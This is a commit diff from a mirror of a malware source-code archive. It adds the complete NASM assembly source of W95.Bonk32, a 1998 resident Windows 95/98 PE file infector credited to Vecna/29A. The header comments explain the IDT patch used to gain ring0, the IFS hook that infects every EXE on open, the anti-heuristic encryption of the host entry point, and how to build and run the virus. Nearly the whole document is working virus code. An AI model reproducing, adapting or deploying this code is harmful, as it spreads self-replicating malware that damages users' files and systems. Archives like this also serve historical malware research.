mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Folder structure change, added README
This commit is contained in:
@@ -0,0 +1,556 @@
|
||||
;[W95.BONK32] Resident PE infector
|
||||
;Copyright 1998 (c) Vecna
|
||||
;
|
||||
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
|
||||
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
|
||||
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
|
||||
;to point code into the virus, and execute this interrupt. As the code is
|
||||
;executed in ring0, the virus alloc memory and read from the host file the
|
||||
;rest of the virus code. It then jump to this virus part, that hook IFS and
|
||||
;restore the host.
|
||||
;
|
||||
;Always a EXE file is open, the virus handler take control, and infect it.
|
||||
;The virus body is appended as a overlay to the end of host, without any
|
||||
;physical link to host, and a small loader is stored into the free space of
|
||||
;the PE header.
|
||||
;
|
||||
;If the host file dont have relocationz, the virus encript the original
|
||||
;entrypoint and patch it with a jump to the virus loader. The key for the code
|
||||
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
|
||||
;virus restore it, it must try all keyz, what can be time costly for AVerz.
|
||||
;
|
||||
;As the original entrypoint dont change, and the virus code isnt linked to
|
||||
;host, beside the loader, this work as a anti-heuristic feature.
|
||||
;
|
||||
;Early versionz haved a bug, that cause a crash in everybody machine beside
|
||||
;mine. This was because a non-fixed call to int 0x20. Some lines added and
|
||||
;now it work fine.
|
||||
;
|
||||
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
|
||||
;viral needz, as provide more control over the generated code . To compile
|
||||
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
|
||||
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
|
||||
;then debug it using SOFT-ICE till u get the point that the virus open host
|
||||
;at this point, change esi to point to a unused area (ECX hold one), then
|
||||
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
|
||||
;end. Then make the virus go(BC *;G).
|
||||
;
|
||||
;Or, better, run the pre-compiled file. It will execute and stay resident.
|
||||
;All open files will be infected then. Remeber that the pre-compiled file
|
||||
;must reside in root dir of C:, else it will crash.
|
||||
;
|
||||
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
|
||||
;gimme the EIP of the fault and make possible to me fix it.
|
||||
|
||||
[bits 32]
|
||||
[section .text]
|
||||
[global _main]
|
||||
|
||||
%define true 1
|
||||
%define false 0
|
||||
|
||||
%define debug false
|
||||
%define userda true
|
||||
|
||||
%define buffer bname + 0x100
|
||||
%define buffer2 buffer + 0x1000
|
||||
|
||||
%macro vxdcall 2
|
||||
int 0x20
|
||||
dw %2
|
||||
dw %1
|
||||
%endmacro
|
||||
|
||||
hook:
|
||||
enter 0x20, 0x00 ;setup stack frame
|
||||
push ecx
|
||||
push ebx
|
||||
call .delta
|
||||
.delta:
|
||||
pop ebx
|
||||
sub ebx, .delta
|
||||
cmp dword [ebp+0x0C], byte 0x24
|
||||
jne .noopen ;only hookz ifs_opne
|
||||
cmp byte [ebx+recurse], byte 0x00
|
||||
jne .noopen ;no re-enter
|
||||
inc byte [ebx+recurse]
|
||||
pushad
|
||||
call dynacall ;fix dynamic int20 calls
|
||||
call uni2ansi
|
||||
call infect ;replicate
|
||||
popad
|
||||
dec byte [ebx+recurse]
|
||||
.noopen:
|
||||
mov ecx, 0x06 ;total=6 paramz
|
||||
mov ebx, 0x1C
|
||||
.nparam:
|
||||
mov eax, [ebp+ebx] ;copy paramz from old frame
|
||||
push eax ;to new frame
|
||||
sub ebx, 4
|
||||
loop .nparam
|
||||
db 0xb8
|
||||
oldhook dd 0
|
||||
call [eax] ;call old hookz
|
||||
add esp, byte 0x18
|
||||
pop ebx
|
||||
pop ecx
|
||||
leave
|
||||
ret
|
||||
|
||||
db '[BONK32] by Vecna/29A', 0x00
|
||||
|
||||
dynacall:
|
||||
pushad
|
||||
cld
|
||||
mov ax, 0x20CD
|
||||
call .odynatable
|
||||
.dynatable:
|
||||
dw 0x67, 0x40
|
||||
dw 0x32, 0x40
|
||||
dw 0x0D, 0x40 ;function, vxd
|
||||
dw 0x41, 0x40
|
||||
dw 0x32, 0x40
|
||||
.odynatable:
|
||||
pop esi
|
||||
mov edi, esi
|
||||
add edi, fix1-.dynatable
|
||||
stosw ;make vxd calls to dynamic
|
||||
movsd ;int20 code
|
||||
add edi, IFS-fix1-6
|
||||
stosw
|
||||
movsd
|
||||
add edi, byte fix3-IFS-6
|
||||
stosw
|
||||
movsd
|
||||
add edi, fix4-fix3-6 ;make all fixes
|
||||
stosw
|
||||
movsd
|
||||
popad
|
||||
ret
|
||||
|
||||
uni2ansi:
|
||||
pushad
|
||||
lea edi, [ebx+bname]
|
||||
mov eax, [ebp+0x10]
|
||||
cmp al, -1
|
||||
jz .drive
|
||||
add al, '@' ;make number2letter
|
||||
stosb
|
||||
mov al, ':'
|
||||
stosb
|
||||
.drive:
|
||||
sub eax, eax
|
||||
push eax
|
||||
mov eax, 0x100
|
||||
push eax
|
||||
mov eax, [ebp+0x1C]
|
||||
mov eax, [eax+0x0C]
|
||||
add eax, byte 0x04
|
||||
push eax
|
||||
push edi
|
||||
fix4:
|
||||
vxdcall 0x40, 0x41 ;make unicode2ansi
|
||||
add esp, byte 0x10
|
||||
add edi, eax
|
||||
sub eax, eax
|
||||
stosb
|
||||
popad
|
||||
ret
|
||||
|
||||
infect:
|
||||
lea edi, [ebx+bname]
|
||||
mov ebp, edi
|
||||
mov ecx, 0x100
|
||||
sub eax, eax
|
||||
cld
|
||||
repne scasb ;end of name
|
||||
or ecx, ecx
|
||||
jz near error
|
||||
cmp dword [edi-0x05], '.EXE'
|
||||
jne near error ;only infect exe files
|
||||
%if debug == true
|
||||
cmp dword [edi-0x09], 'BAIT'
|
||||
jne near error ;debug code
|
||||
%endif
|
||||
mov eax, 0xD500
|
||||
sub ecx, ecx
|
||||
mov edx, ecx
|
||||
inc edx
|
||||
mov ebx, edx
|
||||
inc ebx
|
||||
mov esi, ebp
|
||||
call IFS ;open it
|
||||
jc near error
|
||||
call .delta
|
||||
.delta:
|
||||
pop ebp
|
||||
sub ebp, .delta ;ebp hold delta offset
|
||||
mov ebx, eax
|
||||
mov eax, 0xD600
|
||||
sub edx, edx
|
||||
mov ecx, 0x1000
|
||||
lea esi, [ebp+buffer]
|
||||
call IFS ;read pe headerz
|
||||
jc near errorclose
|
||||
mov ax, word [esi]
|
||||
add al, ah
|
||||
cmp al, 0xA7
|
||||
jne near errorclose ;not exe
|
||||
mov edi, [esi+0x3C]
|
||||
mov [ebp+mz_size], edi
|
||||
cmp edi, 0xE00
|
||||
ja near errorclose ;buffer overflow
|
||||
add edi, esi
|
||||
cmp dword [edi], 'PE'
|
||||
jne near errorclose ;not pe newexe
|
||||
mov eax, 'BONK'
|
||||
cmp [edi+88], eax
|
||||
mov [edi+88], eax
|
||||
jz near errorclose ;already infected
|
||||
cmp word [edi+4], 0x014C ;run in a 386?
|
||||
jnz near errorclose
|
||||
bt word [edi+22], 1 ;executable?
|
||||
jnc near errorclose
|
||||
bt word [edi+22], 0x0D ;dll?
|
||||
jc near errorclose
|
||||
mov eax, [edi+40]
|
||||
add eax, [edi+52] ;mementry==imagebase+entrypont
|
||||
mov [ebp+loader.entrypoint], eax
|
||||
movzx eax, word [edi+6]
|
||||
imul eax, eax, 40
|
||||
movzx ecx, word [edi+20] ;sum size of all headerz
|
||||
add eax, ecx
|
||||
add eax, 24
|
||||
mov ecx, eax
|
||||
add eax, edi
|
||||
add ecx, lsize
|
||||
cmp dword [edi+84], ecx ;total size of headerz
|
||||
jc near errorclose ;enought to loader?
|
||||
push eax
|
||||
push edi
|
||||
mov edi, eax
|
||||
mov ecx, lsize
|
||||
lea esi, [ebp+loader]
|
||||
rep movsb ;copy loader to pe header
|
||||
lea esi, [ebp+bname]
|
||||
.nextbyte:
|
||||
lodsb
|
||||
stosb
|
||||
test al, al
|
||||
jnz .nextbyte ;copy host name
|
||||
pop edi
|
||||
pop eax
|
||||
sub eax, edi
|
||||
cmp [edi+160], ecx
|
||||
jne near .relocs
|
||||
cmp [edi+164], ecx
|
||||
jne near .relocs ;shit, relocz present
|
||||
%if userda == true
|
||||
push ebx
|
||||
mov dword [ebp+jmpentry], eax ;signal rda used
|
||||
movzx ecx, word [edi+20]
|
||||
add ecx, edi
|
||||
add ecx, 24-0x28
|
||||
.next:
|
||||
add ecx, 0x28
|
||||
mov edx, [edi+40]
|
||||
sub edx, [ecx+12] ;is EIP pointing inside
|
||||
cmp edx, [ecx+8] ;this section?
|
||||
jnb .next
|
||||
or dword [ecx+36], 80000000h ;make section writeable
|
||||
add edx, [ecx+20] ;edx point physical entrypoint
|
||||
push edx
|
||||
push eax ;save virus entry
|
||||
mov eax, 0xD600
|
||||
mov ecx, 0x100
|
||||
lea esi, [ebp+buffer2] ;esi point entrycode
|
||||
call IFS ;read entry code
|
||||
push esi
|
||||
push edi
|
||||
push esi
|
||||
mov eax, 0x100
|
||||
push eax
|
||||
push esi
|
||||
push eax
|
||||
call crc32 ;calc crc32 of 100h bytes
|
||||
mov [ebp+rdacrc32], eax
|
||||
pop ecx
|
||||
pop esi
|
||||
pop edi
|
||||
in al, 0x40
|
||||
.rdaloop:
|
||||
xor byte [esi], al ;encript crc32ed code
|
||||
inc esi
|
||||
loop .rdaloop
|
||||
pop esi
|
||||
push edi
|
||||
lea edi, [ebp+hostcode]
|
||||
movsd
|
||||
movsb ;save entrycode
|
||||
pop edi
|
||||
xchg esi, edi ;edi point to entrycode
|
||||
sub edi, byte 5
|
||||
mov al, 0xE9 ;esi point to pe header
|
||||
stosb
|
||||
pop edx
|
||||
sub edx, [esi+40]
|
||||
mov eax, edx
|
||||
sub eax, 5
|
||||
add eax, dword [ebp+mz_size]
|
||||
stosd ;store displacement
|
||||
mov edi, esi
|
||||
pop edx
|
||||
mov eax, 0xD601
|
||||
mov ecx, 0x100
|
||||
lea esi, [ebp+buffer2]
|
||||
pop ebx
|
||||
call IFS ;write pe headerz
|
||||
jmp .norelocs
|
||||
%endif
|
||||
.relocs:
|
||||
mov dword [ebp+jmpentry], ecx ;flag as normal file
|
||||
add eax, dword [ebp+mz_size]
|
||||
mov [edi+40], eax ;set new entrypoint
|
||||
.norelocs:
|
||||
mov eax, 0xD601
|
||||
sub edx, edx
|
||||
mov ecx, dword [edi+84]
|
||||
lea esi, [ebp+buffer]
|
||||
call IFS ;write pe headerz
|
||||
mov eax, 0xD800
|
||||
call IFS ;get filesize
|
||||
mov edx, 0xD601
|
||||
xchg eax, edx
|
||||
mov ecx, vsize
|
||||
mov esi, ebp
|
||||
call IFS ;write overlay code
|
||||
errorclose:
|
||||
mov eax, 0xD700
|
||||
call IFS ;close file
|
||||
error:
|
||||
ret
|
||||
|
||||
rdacrc32 dd 0
|
||||
jmpentry dd 0
|
||||
hostcode dd 0
|
||||
db 0
|
||||
recurse db 0
|
||||
mz_size dd 0
|
||||
|
||||
install:
|
||||
sub edx, edx
|
||||
sub esi, install ;esi point to start of vcode
|
||||
push esi
|
||||
mov dword [esi+recurse], edx
|
||||
mov eax, 0xD700
|
||||
call IFS ;close file
|
||||
or ebp, ebp
|
||||
jns skip
|
||||
fix1:
|
||||
vxdcall 0x40, 0x67 ;hook ifs
|
||||
skip:
|
||||
pop ecx
|
||||
mov [esi+oldhook], eax
|
||||
.restore:
|
||||
%if userda == true
|
||||
cmp dword [esi+jmpentry], byte 0x0
|
||||
jz .norda ;was rda used?
|
||||
push esi
|
||||
mov edi, [esi+loader.entrypoint]
|
||||
lea esi, [esi+hostcode]
|
||||
movsd
|
||||
movsb ;restore init code
|
||||
pop esi
|
||||
push dword 0x100
|
||||
push dword [esi+rdacrc32]
|
||||
push dword [esi+loader.entrypoint]
|
||||
call rda ;rda decript host
|
||||
.norda:
|
||||
%endif
|
||||
ret
|
||||
|
||||
%if userda == true
|
||||
crc32_pbfr equ +0x0C
|
||||
crc32_sz equ +0x08
|
||||
crc32_ret@ equ +0x04
|
||||
crc32_ebp@ equ +0x00
|
||||
|
||||
crc32:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
mov esi, [ebp+crc32_pbfr]
|
||||
mov edi, [ebp+crc32_sz] ;setup regz
|
||||
push byte -1
|
||||
pop ecx ;init crc32
|
||||
mov edx, ecx
|
||||
.aa:
|
||||
sub eax, eax
|
||||
mov ebx, eax
|
||||
lodsb ;get byte
|
||||
xor al, cl
|
||||
mov cl, ch
|
||||
mov ch, dl
|
||||
mov dl, dh
|
||||
mov dh, 8
|
||||
.ab:
|
||||
shr bx, 1
|
||||
rcr ax, 1
|
||||
jnc .ac
|
||||
xor ax, 0x08320 ;logarithm
|
||||
xor bx, 0x0edb8
|
||||
.ac:
|
||||
dec dh
|
||||
jnz .ab
|
||||
xor ecx, eax
|
||||
xor edx, ebx
|
||||
dec edi
|
||||
jnz .aa ;next byte
|
||||
not edx
|
||||
not ecx
|
||||
shl ecx, 16 ;cx:dx to ecx
|
||||
mov cx, dx
|
||||
mov eax, ecx
|
||||
pop ebp
|
||||
ret 8
|
||||
%endif
|
||||
|
||||
_main
|
||||
|
||||
loader:
|
||||
pushad
|
||||
call .seh
|
||||
mov esp, [esp+8]
|
||||
jmp .removeseh
|
||||
.seh:
|
||||
sub edx, edx
|
||||
fs push dword [edx]
|
||||
fs mov dword [edx], esp ;seh frame set
|
||||
call .delta
|
||||
.delta:
|
||||
pop eax
|
||||
sub eax, .delta
|
||||
push eax
|
||||
sidt [esp-2] ;get idt to ebx
|
||||
pop ebx
|
||||
cli
|
||||
mov ebp, [ebx+0x4+(0x5*0x8)]
|
||||
mov bp, [ebx+(0x5*0x8)]
|
||||
lea ecx, [eax+ring0] ;new int5 handler
|
||||
mov [ebx+(0x5*0x8)], cx
|
||||
bswap ecx
|
||||
xchg cl, ch
|
||||
mov [ebx+0x6+(0x5*0x8)], cx
|
||||
push ds
|
||||
push es
|
||||
int 0x5 ;jump to ring0
|
||||
pop es
|
||||
pop ds
|
||||
.removeseh:
|
||||
sti
|
||||
sub eax, eax
|
||||
fs pop dword [eax] ;remove seh frame
|
||||
pop eax
|
||||
popad
|
||||
db 0x68 ;return to host
|
||||
.entrypoint dd 0
|
||||
pop ecx
|
||||
jecxz .ret
|
||||
push ecx
|
||||
.ret:
|
||||
ret
|
||||
|
||||
IFS:
|
||||
vxdcall 0x40, 0x32 ;just one place to fix
|
||||
ret
|
||||
|
||||
ring0:
|
||||
cld
|
||||
push ss
|
||||
pop ds
|
||||
mov edi, [eax+IFS]
|
||||
mov ax, 0x20CD ;these linez fix the previous
|
||||
stosw ;bug, found by AVz
|
||||
mov ax, 0x32
|
||||
stosw
|
||||
mov ax, 0x40
|
||||
stosw
|
||||
lea ecx, [eax+bname]
|
||||
lea esi, [eax+name]
|
||||
mov eax, 0xD500 ;openfile
|
||||
sub ecx, ecx
|
||||
mov edx, ecx
|
||||
mov ebx, ecx
|
||||
inc edx
|
||||
call IFS
|
||||
jnc .skip
|
||||
iret ;cant open host
|
||||
.skip:
|
||||
push eax
|
||||
push dword 8192
|
||||
fix3:
|
||||
vxdcall 0x40, 0x0D ;vmm alloc
|
||||
pop ecx
|
||||
mov esi, eax
|
||||
pop ebx
|
||||
jc .error
|
||||
mov eax, 0xD800 ;get filesize
|
||||
call IFS
|
||||
mov ecx, vsize
|
||||
sub eax, ecx
|
||||
mov edx, 0xD600 ;read overlay
|
||||
xchg eax, edx
|
||||
call IFS
|
||||
add esi, install-hook
|
||||
call esi ;call it!
|
||||
.error:
|
||||
iret
|
||||
|
||||
lsize equ ($-loader)
|
||||
|
||||
name equ $
|
||||
|
||||
%if userda == true
|
||||
rda_sz equ +16
|
||||
rda_crc equ +12
|
||||
rda_pbfr equ +08
|
||||
rda_ret@ equ +04
|
||||
rda_ebp@ equ +00
|
||||
rda_pass equ -04
|
||||
rda_key equ -08
|
||||
|
||||
rda:
|
||||
enter 8, 0 ;2 dwords as local var
|
||||
sub eax, eax
|
||||
mov [ebp+rda_pass], eax
|
||||
mov [ebp+rda_key], eax ;setup rda
|
||||
.setup:
|
||||
mov esi, [ebp+rda_pbfr]
|
||||
mov ecx, [ebp+rda_sz]
|
||||
mov edx, [ebp+rda_key] ;setup loop
|
||||
.loop:
|
||||
xor [esi], dl
|
||||
inc esi
|
||||
dec ecx
|
||||
jnz .loop
|
||||
inc dword [ebp+rda_pass] ;increase pass counter
|
||||
cmp [ebp+rda_pass], byte 2
|
||||
jne .check ;first pass
|
||||
sub eax, eax
|
||||
mov [ebp+rda_pass], eax
|
||||
inc dword [ebp+rda_key] ;new key
|
||||
jmp short .setup
|
||||
.check:
|
||||
push ebp
|
||||
push dword [ebp+rda_pbfr]
|
||||
push dword [ebp+rda_sz]
|
||||
call crc32 ;calc crc32
|
||||
pop ebp
|
||||
cmp eax, [ebp+rda_crc]
|
||||
jne .setup ;crc32 dont match
|
||||
leave
|
||||
ret 12
|
||||
%endif
|
||||
|
||||
vsize equ ($-$$)
|
||||
|
||||
bname:
|
||||
Reference in New Issue
Block a user